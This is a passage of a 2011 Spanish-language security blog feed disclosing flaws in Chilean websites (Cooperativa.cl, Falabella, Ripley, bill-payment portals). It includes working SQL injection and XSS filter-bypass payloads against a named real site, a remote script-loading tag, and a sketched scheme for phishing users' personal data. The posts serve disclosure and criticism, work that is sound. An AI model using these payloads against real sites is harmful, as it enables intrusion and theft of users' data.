		<title>Vulnerabilidades en Cooperativa.cl: Saltándose los filtros.</title>
		<link>http://blog.zerial.org/seguridad/vulnerabilidades-en-cooperativa-cl-saltandose-los-filtros/</link>
		<comments>http://blog.zerial.org/seguridad/vulnerabilidades-en-cooperativa-cl-saltandose-los-filtros/#comments</comments>
		<pubDate>Wed, 17 Aug 2011 13:58:39 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cooperativa]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[filtros]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[protecciones]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sql-i]]></category>
		<category><![CDATA[sqli]]></category>
		<category><![CDATA[vulnerabilidades]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2579</guid>
		<description><![CDATA[Ya vimos en el caso de Servipag unos filtros de protección anti LFI inútiles, ahora es el turno de uno de los sitios web de Cooperativa.cl, el cual implementa unos filtros de protección anti-XSS y anti-SQLi bastante vergonzosos y obviamente de &#8220;protección&#8221; no tiene nada. El sitio afectado corresponde al subdominio &#8220;musica.cooperativa.cl&#8221; el cual es [...]]]></description>
			<content:encoded><![CDATA[<p>Ya vimos en <a href="http://blog.zerial.org/seguridad/servipag-cl-el-portal-chileno-de-pagos-online-mas-inseguro/">el caso de Servipag</a> unos filtros de protección anti LFI inútiles, ahora es el turno de uno de los sitios web de Cooperativa.cl, el cual implementa unos filtros de protección anti-XSS y anti-SQLi bastante vergonzosos y obviamente de &#8220;protección&#8221; no tiene nada.<br />
El sitio afectado corresponde al subdominio &#8220;<strong>musica.cooperativa.cl</strong>&#8221; el cual es vulnerable a inyección de código sql y cross site scripting.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_musica.png"><img class="aligncenter size-full wp-image-2582" title="cooperativa_musica" src="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_musica.png" alt="" width="617" height="88" /></a></p>
<p>La vulnerabilidad se encuentra en el archivo <strong>disco.php</strong> mediante la variable <strong>id</strong>. Es posible generar un error facilmente ingresando una comilla simple (&#8216;):</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_1.png"><img class="aligncenter size-full wp-image-2584" title="cooperativa_1" src="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_1.png" alt="" width="398" height="90" /></a></p>
<p>Hasta el momento el &#8220;<strong>filtro</strong>&#8221; escapa el la comilla y anteponiendo un <em>backslash</em> (\), intentamos hacer el típico SQL Injection para obtener información sobre la base de datos usando <strong>&#8216;+or 1=+ union+select+database(),user()+&#8211;+</strong> y obtenemos como resultado <strong>&#8220;Error select * from disco where id=3342\&#8217;  1=    (),() &#8211;&#8221;</strong></p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_2.png"><img class="aligncenter size-full wp-image-2585" title="cooperativa_2" src="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_2.png" alt="" width="633" height="86" /></a></p>
<p>Efectivamente el &#8220;filtro&#8221; está eliminando las palabras que ponemos y dejando sólo los caracteres que no son letras. Ahora, si intentamos inyectar un tag html como por ejemplo <strong>&lt;em&gt;prueba&lt;/em&gt;</strong>, obtenemos <strong>Error select * from disco where id=3342&lt;&gt;&lt;/&gt;</strong></p>
<p>Bien, ahora nos saltaremos los filtros que nos han puesto&#8230;</p>
<p><span id="more-2579"></span></p>
<p><strong>¿Piensas que es muy complicado?</strong></p>
<p>Para saltarse las protecciones XSS y SQL Injection que nos han puesto, lo <strong>único</strong> que tenemos que hacer es escribir con mayúsculas.<br />
Como prueba de concepto usaremos el siguiente link:</p>
<p><a href="http://musica.cooperativa.cl/disco.php?id=3342%3CSTRONG%3EHOLA!%20ESTOY%20ESCRIBIENDO%20CON%20MAYUSCULAS%20PARA%20SALTARME%20TU%20FILTRO!!%3C/STRONG%3E"><strong>http://musica.cooperativa.cl/disco.php?id=3342&lt;STRONG&gt;H</strong><strong>OLA! ESTOY ESCRIBIENDO CON MAYUSCULAS PARA SALTARME TU FILTRO!!&lt;/STRONG&gt;</strong></a></p>
<p>Mira lo que obtenemos:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_3.png"><img class="aligncenter size-large wp-image-2587" title="cooperativa_3" src="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_3-1024x89.png" alt="" width="691" height="60" /></a></p>
<p>Para realizar la típica <strong>prueba de concepto</strong>, usando la función <em>alert()</em> de JavaScript tendremos un problema, ya que al escribir &#8220;ALERT&#8221; (con mayúsculas), no encontrará ninguna función con ese nombre &#8230; Pero solucionar este problema es más fácil de lo que pensamos, pongamos el tag <strong>&lt;SCRIPT&gt;</strong> con el atributo <em>SRC</em> y apuntamos a una URL (con mayúsculas todo) el cual contenga el JavaScript que queramos que sea ejecutado, para este caso elaboré un script <strong>&#8220;POC.JS</strong>&#8221; que contiene &#8220;<strong>alert(&#8216;Prueba de concepto XSS&#8217;)</strong>&#8221; (sì, con minúsculas), entonces llamamos al script de la siguiente forma:</p>
<p><strong>&lt;SCRIPT SRC=HTTP://ZERIAL.ORG/POC.JS&gt;&lt;/SCRIPT&gt;</strong></p>
<p>Y obtenemos lo siguiente:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_4.png"><img class="aligncenter size-full wp-image-2589" title="cooperativa_4" src="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_4.png" alt="" width="470" height="392" /></a></p>
<p>Con esto, damos por hecho que logramos saltarnos el filtro anti XSS.</p>
<p>Para saltarnos el filtro SQL Injection, es de la misma forma, las sentencias SQL las debemos escribir con mayúsculas y listo, por ejemplo <strong>OR+1=0+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14+&#8211;+</strong>, tenemos como resultado el error sql indicandonos exactamente lo que escribimos:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_5.png"><img class="aligncenter size-full wp-image-2590" title="cooperativa_5" src="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_5.png" alt="" width="581" height="99" /></a></p>
<p>Ahora lo único que nos queda es empezar a <strong>jugar</strong> y encontrar la cantidad de columnas para poder extraer información de la base de datos.</p>
<p><strong>Un ataque más sofisticado &#8230;</strong></p>
<p>Este sitio corresponde a un lugar para descargar/comprar música &#8220;legalmente&#8221;, donde los usuarios (me imagino) se registran, introducen sus datos personales y van comprando musica mediante su tarjeta de credito (?), bien &#8230; Imaginemos un ataque un poco más elaborado, tenemos un SQL Injection donde podemos obtener la lista de todos los suscritos al sitio (correo, web, telefono y algún otro dato), luego elaboramos un sitio identico (pero falso) e invitamos a los usuarios a &#8220;<strong>Descargar musica a $1</strong> (<em>un peso</em>)&#8221;, les pedimos que seleccionen las canciones que desean, inicien sesión y realicen la compra, el usuario encantado comprará muchas canciones pero cuando termine de enviar el último formulario misteriosamente aparece un mensaje que dice &#8220;<em>Ha ocurrido un error inesperado. Intente mas tarde</em>&#8220;, pero <em>por debajo</em>, el sitio envió todos sus datos personales a un sitio externo y ahora sus datos personales están en manos del atacante.</p>
<p>La vulnerabilidad fue reportada</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidades-en-cooperativa-cl-saltandose-los-filtros%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/vulnerabilidades-en-cooperativa-cl-saltandose-los-filtros/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/vulnerabilidades-en-cooperativa-cl-saltandose-los-filtros/"  data-text="Vulnerabilidades en Cooperativa.cl: Saltándose los filtros." data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/vulnerabilidades-en-cooperativa-cl-saltandose-los-filtros/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Falabella y Ripley: ¿Sitios realmente seguros?</title>
		<link>http://blog.zerial.org/seguridad/falabella-y-ripley-%c2%bfsitios-realmente-seguros/</link>
		<comments>http://blog.zerial.org/seguridad/falabella-y-ripley-%c2%bfsitios-realmente-seguros/#comments</comments>
		<pubDate>Sun, 14 Aug 2011 08:25:45 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[falabella]]></category>
		<category><![CDATA[privacidad]]></category>
		<category><![CDATA[ripley]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[ssl]]></category>
		<category><![CDATA[verisign]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2595</guid>
		<description><![CDATA[Falabella y Ripley son dos &#8220;grandes tiendas&#8221; que permiten que sus clientes puedan realizar compras online, ambas dicen ser &#8220;100% seguras&#8221; y están certificadas por VeriSign. El primer error: existe la seguridad al 100% ? Ambos sitios son vulnerables a ataques Cross-Site Scripting, permitiendo que un atacante use el sitio web de cada tienda para [...]]]></description>
			<content:encoded><![CDATA[<p>Falabella y Ripley son dos &#8220;<em>grandes tiendas</em>&#8221; que permiten que sus clientes puedan realizar compras online, ambas dicen ser &#8220;100% seguras&#8221; y están certificadas por VeriSign. El primer error: <strong>existe la seguridad al 100% ?</strong></p>
<p><center><a href="http://blog.zerial.org/wp-content/uploads/2011/08/logo_falabella.gif"><img class="alignnone size-full wp-image-2596" style="margin-top: 2px; margin-bottom: 2px;" title="logo_falabella" src="http://blog.zerial.org/wp-content/uploads/2011/08/logo_falabella.gif" alt="" width="193" height="51" /></a><a href="http://blog.zerial.org/wp-content/uploads/2011/08/logo_ripley.gif"><img class="alignnone size-full wp-image-2597" style="margin: 2px;" title="logo_ripley" src="http://blog.zerial.org/wp-content/uploads/2011/08/logo_ripley.gif" alt="" width="161" height="56" /></a></center></p>
<p>Ambos sitios son vulnerables a ataques Cross-Site Scripting, permitiendo que un atacante use el sitio web de cada tienda para falsificar contenido y robar información o realizar estafas, aprovechandose de la confianza que el usuario tiene en el sitio web.<br />
Los sitios afectados son: <strong>http://www.falabella.cl</strong> y <strong>http://www.ripley.cl</strong> incluyendo los sitios &#8220;seguros&#8221; (https) de cada uno.</p>
<p>Lo más irónico es que los sitios estan &#8220;certificados&#8221; por una empresa de seguridad que según ellos:</p>
<blockquote><p>Verisign, líder mundial en certificación de comercio electrónico.</p></blockquote>
<p>Aunque no me sorprende, luego de <a href="http://blog.zerial.org/seguridad/cross-site-scripting-en-sitio-verisign-chile-e-sign/">haber encontrado hace un tiempo un XSS en el propio sitio web de VeriSign</a>.</p>
<p>Otra cosa que tambien les debería dar verguenza a estas empresas es <em>prometer</em> 100% de seguridad al usuario, como dice en sus propios sitios web:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/ripley1.png"><img class="aligncenter size-full wp-image-2600" title="ripley1" src="http://blog.zerial.org/wp-content/uploads/2011/08/ripley1.png" alt="" width="464" height="342" /></a></p>
<p>Todo esto es una <strong>mentira</strong>.</p>
<p><span id="more-2595"></span></p>
<p>Con las 2 imagenes que veran a continuación, no habrá mucho que explicar&#8230;</p>
<p>1. <a href="http://blog.zerial.org/wp-content/uploads/2011/08/falabella_ripley.png"><img class="aligncenter size-full wp-image-2605" title="falabella_ripley" src="http://blog.zerial.org/wp-content/uploads/2011/08/falabella_ripley.png" alt="" width="675" height="554" /></a></p>
<p>2. <a href="http://blog.zerial.org/wp-content/uploads/2011/08/ripley_falabella.png"><img class="aligncenter size-full wp-image-2606" title="ripley_falabella" src="http://blog.zerial.org/wp-content/uploads/2011/08/ripley_falabella.png" alt="" width="642" height="512" /></a></p>
<p>Ripley mostrando contenido de Falabella y Falabella mostrando contenido de Ripley, incluso usando sus sitios &#8220;super seguros&#8221; <strong>https</strong>.</p>
<p>Perfectamente el atacante podría suplantar el sitio web de cualquier de estas dos tiendas y, por ejemplo, en https://www.falabella.cl en lugar de mostrar el contenido de Ripley, mostrar un sitio web de Falabella <strong>FALSO</strong>, donde se invite al usuario a unas increíbles ofertas y que para acceder a ellas sólo debe iniciar sesión.</p>
<p>Ambos sitios prometen la máxima seguridad, dicen estar certificados, usar certificados SSL de un millón de bits que permiten una transacción segura, que los clientes le confien los datos, que ellos <strong>nunca</strong> pedirán datos por correo pero sin embargo &#8230; Pero qué pasa si te llega un correo con links verdaderos a http<strong>S</strong>://www.falabella.com o http<strong>S</strong>://www.ripley.cl  ? Si ellos mismos están diciendo que confien en ellos &#8230; Obviamente el usuario hará click y caerá en la trampa que las mismas tiendas le pusieron.</p>
<p>Este articulo no busca ser un analisis profundo de seguridad de las grandes tiendas, simplemente una prueba más de las <span style="text-decoration: line-through;">mentiras</span> <strong>falsas promesas</strong> que hacen los portales de internet que por obligación <strong>DEBEN</strong> ser seguros, pero no los son.</p>
<p>La vulnerabilidad fue reportada a Falabella el 21 de Julio y hasta el momento no he obtenido respuesta, en Ripley estoy esperando que me digan donde puedo enviar el reporte.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Ffalabella-y-ripley-%25c2%25bfsitios-realmente-seguros%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/falabella-y-ripley-%c2%bfsitios-realmente-seguros/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/falabella-y-ripley-%c2%bfsitios-realmente-seguros/"  data-text="Falabella y Ripley: ¿Sitios realmente seguros?" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/falabella-y-ripley-%c2%bfsitios-realmente-seguros/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Análisis de seguridad: Servipag vs Sencillito vs MisCuentas</title>
		<link>http://blog.zerial.org/seguridad/analisis-de-seguridad-servipag-vs-sencillito-vs-miscuentas/</link>
		<comments>http://blog.zerial.org/seguridad/analisis-de-seguridad-servipag-vs-sencillito-vs-miscuentas/#comments</comments>
		<pubDate>Tue, 02 Aug 2011 04:42:38 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[analisis]]></category>
		<category><![CDATA[captcha]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[https]]></category>
		<category><![CDATA[miscuentas]]></category>
		<category><![CDATA[password seguras]]></category>
		<category><![CDATA[security token]]></category>
		<category><![CDATA[sencillito]]></category>
		<category><![CDATA[servipag]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[ssl]]></category>
		<category><![CDATA[token]]></category>
		<category><![CDATA[tokens]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2538</guid>
		<description><![CDATA[Ya muchos leyeron mi post anterior sobre la seguridad del servicio que ofrece Servipag, la idea de este nuevo artículo es hacer un tipo de benchmark de seguridad entre los tres principales servicios de pagos de cuentas online: Servipag, Sencillito y MisCuentas. Analizaré las validaciones que hacen estos servicios, que tan vulnerables a ataques de [...]]]></description>
			<content:encoded><![CDATA[<p>Ya muchos leyeron <a href="http://blog.zerial.org/seguridad/servipag-cl-el-portal-chileno-de-pagos-online-mas-inseguro">mi post anterior</a> sobre la seguridad del servicio que ofrece Servipag, la idea de este nuevo artículo es hacer un tipo de <em>benchmark</em> de seguridad entre los tres principales servicios de pagos de cuentas online: Servipag, Sencillito y MisCuentas.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/servpagvssencivsmisc.png"><img class="aligncenter size-full wp-image-2539" title="servpagvssencivsmisc" src="http://blog.zerial.org/wp-content/uploads/2011/08/servpagvssencivsmisc.png" alt="" width="515" height="243" /></a></p>
<p>Analizaré las validaciones que hacen estos servicios, que tan vulnerables a ataques de robo de información, suplantación de identidad o que tan seguros son sus procesos, con el objetivo de dejar al descubierto la falta de seguridad y de validaciones al momento de hacer peticiones entre sitios, validacion de tokens de seguridad, uso de captchas para evitar a los bots, etc.</p>
<p>El análisis consiste en:</p>
<ul>
<li><strong>Security Tokens</strong>: Revisar que los servicios que ofrecen cada sitio web cuenta con los tokens de seguridad en sus formularios, para evitar pecitiones POST o GET desde sitios externos.</li>
<li><strong>Captcha</strong>: Es el mecanismo más usado para determinar si quien está enviando la petición es un humano y no un bot. Ayuda contra los ataques de fuerza bruta.</li>
<li><strong>Passwords cifradas</strong>: Verificar que la password de los usuarios se almacene cifrada en la base de datos.</li>
<li><strong>Uso de certificados SSL</strong> en sus transacciones.</li>
</ul>
<p>Y los resultados son alarmantes&#8230;</p>
<ol>
<li><strong>Servipag</strong>: Passwords sin cifrar, permite el tráfico sin http seguro, no usa tokens de seguridad en sus formularios, permite realizar peticiones desde sitios/formularios falsos, no usa captcha.</li>
<li><strong>Sencillito</strong>: Al no requerir registro de usuario se libera de todas las criticas, este servicio es el mas sencillo y el más seguro</li>
<li><strong>MisCuentas</strong>: Passwords cifrados, tiene un buen mecanismo de recuperacion de contraseña, las transacciones se realizan mediante HTTP seguro, no usa tokens de seguridad y tampoco utiliza captcha, permitiendo peticiones desde sitios/formularios falsos.</li>
</ol>
<p>Para leer el detalle del análisis, continua leyendo el artículo.</p>
<p><span id="more-2538"></span></p>
<h2>Servipag</h2>
<h3>Security tokens</h3>
<p>Existen dos formularios, uno para el inicio de sesión y otro para el pago de cuentas.<br />
El primero,<br />
<a href="http://blog.zerial.org/wp-content/uploads/2011/08/form1_servipag.png"><img class="aligncenter size-full wp-image-2546" title="form1_servipag" src="http://blog.zerial.org/wp-content/uploads/2011/08/form1_servipag.png" alt="" width="196" height="130" /></a><br />
No cuenta con <strong>ningun</strong> tipo de seguridad, es un formulario común y corriente.</p>
<pre class="c" name="code">&lt;form action="http://servipag.cl/Portal/Account/LogOn" method="post" name="formCliente"&gt;
&lt;input name="prsn_id" value="" type="hidden" /&gt;
&lt;input name="accs_pin" value="" type="hidden" /&gt;
&lt;input name="rut_2" value="" type="hidden" /&gt;
&lt;input name="rut_1" value="" type="hidden" /&gt;
&lt;input name="clave_1" value="" type="hidden" /&gt;
&lt;input name="accion" value="login" type="hidden" /&gt;
&lt;input class="textInput2" id="Rut" maxlength="12" name="Rut" onblur="javascript:formatear3_menu(document.formCliente);" onfocus="javascript:formatear4_menu(document.formCliente);" onkeypress="javascript:return solorut_menu(event);" size="12" type="text" value="" tabindex="1" /&gt;
&lt;input class="textInput2" id="Password" maxlength="12" name="Password" onkeypress="PressEnter_menu(event);" size="12" type="password" value="" tabindex="2" /&gt;
&lt;/form&gt;</pre>
<p>El segundo,<br />
<a href="http://blog.zerial.org/wp-content/uploads/2011/08/form2_servipag.png"><img class="aligncenter size-medium wp-image-2549" title="form2_servipag" src="http://blog.zerial.org/wp-content/uploads/2011/08/form2_servipag-300x87.png" alt="" width="300" height="87" /></a></p>
<p>Tambien es un formulario común y corriente.</p>
<pre name ="code" class="c">&lt;form id="formPagoCuentas" name="formPagoCuentas" method="post" action=""&gt;
&lt;select id="servicios" name="servicios"&gt;...&lt;/select&gt;
&lt;select id="billers"&gt;&lt;option value=""&gt;[Empresa]&lt;/option&gt;&lt;/select&gt;
&lt;input type="hidden" name="pagina" value="web/busqueda_cuentas.htm" /&gt;
&lt;input type="hidden" name="TipoBusqueda" value="N" /&gt;
&lt;input type="hidden" name="IntTipoBusqueda" value="0" /&gt;
&lt;input type="hidden" name="arrayCuentas" value="" /&gt;
&lt;/form&gt;</pre>
<p>Permitiendo peticiones desde sitios remotos.</p>
<h3>Captcha</h3>
<p>Ninguno de los formularios hace uso de captchas, permitiendo hacer peticiones automatizadas y ataques de fuerza bruta.</p>
<h3>Password cifradas</h3>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/password_servipag.png"><img class="aligncenter size-full wp-image-2551" title="password_servipag" src="http://blog.zerial.org/wp-content/uploads/2011/08/password_servipag.png" alt="" width="600" height="343" /></a></p>
<p>El sistema de Servipag <strong>NO</strong> almacena las claves de usuarios cifradas.</p>
<h3>Certificado SSL</h3>
<p>Ambos formularios envian los datos cifrados mediante SSL solo cuando el usuario ingresa mediante https, si el usuario ingresa usando http normal, los formularios enviarán los datos en plano. Lo pueden ver en el codigo html de los formularios que mostré unas lineas mas arriba.</p>
<h2>Sencillito</h2>
<h3>Security tokens</h3>
<p>Solo encontré el formulario de pago de cuentas, al parecer no tiene registro de usuarios.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/form1_sencillito.png"><img class="aligncenter size-full wp-image-2555" title="form1_sencillito" src="http://blog.zerial.org/wp-content/uploads/2011/08/form1_sencillito.png" alt="" width="642" height="203" /></a></p>
<p>Como no tiene formulario de inicio de sesion, en este caso los tokens de seguridad no son necesarios, a menos que alguien quiera falsificar el formulario y pagarnos las cuentas <img src='http://blog.zerial.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<h3>Captcha</h3>
<p>Como he dicho mas arriba, tampoco es necesario proteger el formulario contra los bots.</p>
<h3>Password cifradas</h3>
<p>No aplica, ya que no hay registro de usuario de por medio.</p>
<h3>Certificado SSL</h3>
<p>Obliga al usuario a usar HTTP seguro, ya que al ingresar a http:// redireccione automaticamente a https.</p>
<h2>MisCuentas</h2>
<h3>Security tokens</h3>
<p>El primer formulario, corresponde al inicio de sesion</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/form1_miscuentas.png"><img class="aligncenter size-full wp-image-2556" title="form1_miscuentas" src="http://blog.zerial.org/wp-content/uploads/2011/08/form1_miscuentas.png" alt="" width="221" height="162" /></a></p>
<p>Al ver el codigo fuente podemos ver unos input que parecieran ser security tokens</p>
<pre class="c" name="code">&lt;input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwULLTEwMDUyNjYzMjgPZBYCZg9kFgICAw9kFgJmDw9kFgIeCG9uQ2hhbmdlBV9jaGVja1J1dEZpZWxkKGFzcG5ldEZvcm0uY3RsMDBfdHh0TG9naW4udmFsdWUsYXNwbmV0Rm9ybS5jdGw$
&lt;input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="/wEWAwKtxfWYAwLT4e+AAwKB7cu1BVBe9NtqfcZbqVushQKI1bjh/ZuV" /&gt;</pre>
<p>Pero no lo son, o si lo son no los están utilizando correctamente, ya que es posible realizar peticiones desde sitios remotos, permitiendo programar un bot que obtenga la password de un usuario mediante fuerza bruta.</p>
<h3>Captcha</h3>
<p>No hace uso de captchas. Aprovechandose de esta ineficiencia, junto con lo anterior, es posible programar un bot que haga peticiones POST al formulario de login hasta dar con las credenciales de los usuarios.</p>
<h3>Password cifradas</h3>
<p>Esto es un punto a favor, el correo que llega cuando intentamos recuperar la contraseña es:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/recover_miscuentas.png"><img src="http://blog.zerial.org/wp-content/uploads/2011/08/recover_miscuentas.png" alt="" title="recover_miscuentas" width="499" height="286" class="aligncenter size-full wp-image-2557" /></a></p>
<p>No envian mi password, por lo que todo indica que no saben cual es ya que está cifrada. Nos entregan una password aleatoria alternativa con caducidad, lo que nos obliga a volver a cambiarla por una que recordemos.</p>
<h3>Certificado SSL</h3>
<p>Ingresando por HTTP normal y HTTP seguro el formulario envia la informacion cifrada y una vez dentro del portal todos los links parecen apuntar a un sitio seguro.</p>
<h2>Conclusiones</h2>
<p>Una vez realizado el analisis, concluímos que el mientras más simple sea el método de pago, mejor. El premio a la sencillez se lo lleva Sencillito, ya que no requiere registro de usuario disminuyendo las posibilidades de tener brechas de seguridad. De los dos sitios que requieren registro de usuario, el más seguro es MisCuentas, ya que &#8220;obliga&#8221; al usuario a enviar sus datos mediante SSL, <strong>no</strong> almacena sus password en texto plano y tiene un procedimiento de recuperación de contraseña mejor.</p>
<h3>Problemas comunes</h3>
<p>Ninguno de los portales de pagos utiliza tokens de seguridad en sus formularios, tampoco utilizan captcha, lo que permite programar bots ninjas que se dediquen a obtener los datos de usuario (como user y pass) mediante fuerza bruta sin ningun tipo de protección.</p>
<h3>El mas inseguro</h3>
<p>Este premio se lo lleva <strong>Servipag</strong>. Al registrarse como usuario podemos ver el siguiente mensaje:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/registro_servipag.png"><img src="http://blog.zerial.org/wp-content/uploads/2011/08/registro_servipag.png" alt="" title="registro_servipag" width="508" height="135" class="aligncenter size-full wp-image-2559" /></a></p>
<p><strong>¿Cuanto tardaría un bot en encontrar una clave entre 4 y 6 caracteres?</strong></p>
<p>Es inaceptable que un sistema que dice ser seguro obligue al usuario a escribir una password con un límite de caracteres. Todos sabemos lo que es un hash, que indiferente al largo de la cadena de caracteres, el hash siempre tendrá un largo fijo. Por ejemplo, el password &#8220;123456&#8243; tiene un hash en md5 de 32 caracteres, al igual que la password &#8220;12345678&#8243;, &#8220;ifndsifndsifn2432432432432&#8243;, etc. Por lo tanto, el hecho de que te pongan un límite en la cantidad de caracteres para tu password automaticamente hace pensar que tienen definido el campo en la base de datos como &#8220;varchar(6)&#8221; y obviamente <strong>no</strong> está cifrado, lo comprobamos al intentar recuperar la contraseña, nos llega un correo con nuestra clave!!</p>
<p>Finalmente, el orden, desde el más seguro hasta el más inseguro:</p>
<ol>
<li>Sencillito</li>
<li>MisCuentas</li>
<li>Servipag</li>
</ol>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fanalisis-de-seguridad-servipag-vs-sencillito-vs-miscuentas%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/analisis-de-seguridad-servipag-vs-sencillito-vs-miscuentas/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/analisis-de-seguridad-servipag-vs-sencillito-vs-miscuentas/"  data-text="Análisis de seguridad: Servipag vs Sencillito vs MisCuentas" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/analisis-de-seguridad-servipag-vs-sencillito-vs-miscuentas/feed/</wfw:commentRss>
		<slash:comments>31</slash:comments>
		</item>
		<item>
		<title>Servipag.cl: El portal chileno de pagos online más inseguro</title>
		<link>http://blog.zerial.org/seguridad/servipag-cl-el-portal-chileno-de-pagos-online-mas-inseguro/</link>
		<comments>http://blog.zerial.org/seguridad/servipag-cl-el-portal-chileno-de-pagos-online-mas-inseguro/#comments</comments>
		<pubDate>Mon, 01 Aug 2011 02:36:26 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[altos estandares de seguridad]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[directory traversal]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[lfi]]></category>
		<category><![CDATA[local file include]]></category>
		<category><![CDATA[servipag]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[xss]]></category>

